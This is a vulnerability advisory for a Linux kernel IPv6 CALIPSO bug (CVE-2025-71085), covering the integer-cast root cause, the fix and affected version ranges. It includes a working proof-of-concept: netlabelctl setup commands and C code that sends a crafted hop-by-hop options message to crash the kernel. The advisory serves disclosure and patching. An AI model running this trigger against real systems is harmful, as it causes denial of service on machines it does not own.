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CVE-2025-71085

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
	Using `netlabelctl` tool:

        netlabelctl map del default
        netlabelctl calipso add pass doi:7
        netlabelctl map add default address:0::1/128 protocol:calipso,7

        Then run the following PoC:

        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

        // setup msghdr
        int cmsg_size = 2;
        int cmsg_len = 0x60;
        struct msghdr msg;
        struct sockaddr_in6 dest_addr;
        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                        sizeof(struct cmsghdr) + cmsg_len);
        msg.msg_name = &dest_addr;
        msg.msg_namelen = sizeof(dest_addr);
        msg.msg_iov = NULL;
        msg.msg_iovlen = 0;
        msg.msg_control = cmsg;
        msg.msg_controllen = cmsg_len;
        msg.msg_flags = 0;

        // setup sockaddr
        dest_addr.sin6_family = AF_INET6;
        dest_addr.sin6_port = htons(31337);
        dest_addr.sin6_flowinfo = htonl(31337);
        dest_addr.sin6_addr = in6addr_loopback;
        dest_addr.sin6_scope_id = 31337;

        // setup cmsghdr
        cmsg->cmsg_len = cmsg_len;
        cmsg->cmsg_level = IPPROTO_IPV6;
        cmsg->cmsg_type = IPV6_HOPOPTS;
        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

        sendmsg(fd, &msg, 0);
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HerstellerLinux
Produkt Linux
Default Statusunaffected
Version < 86f365897068d09418488165a68b23cb5baa37f2
Version 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Status affected
Version < 6b7522424529556c9cbc15e15e7bd4eeae310910
Version 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Status affected
Version < 2bb759062efa188ea5d07242a43e5aa5464bbae1
Version 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Status affected
Version < c53aa6a5086f03f19564096ee084a202a8c738c0
Version 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Status affected
Version < bf3709738d8a8cc6fa275773170c5c29511a0b24
Version 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Status affected
Version < 73744ad5696dce0e0f43872aba8de6a83d6ad570
Version 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Status affected
Version < 58fc7342b529803d3c221101102fe913df7adb83
Version 2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3
Status affected
HerstellerLinux
Produkt Linux
Default Statusaffected
Version 4.8
Status affected
Version < 4.8
Version 0
Status unaffected
Version <= 5.10.*
Version 5.10.248
Status unaffected
Version <= 5.15.*
Version 5.15.198
Status unaffected
Version <= 6.1.*
Version 6.1.160
Status unaffected
Version <= 6.6.*
Version 6.6.120
Status unaffected
Version <= 6.12.*
Version 6.12.64
Status unaffected
Version <= 6.18.*
Version 6.18.4
Status unaffected
Version <= *
Version 6.19-rc4
Status unaffected
Zu dieser CVE wurde keine CISA KEV oder CERT.AT-Warnung gefunden.
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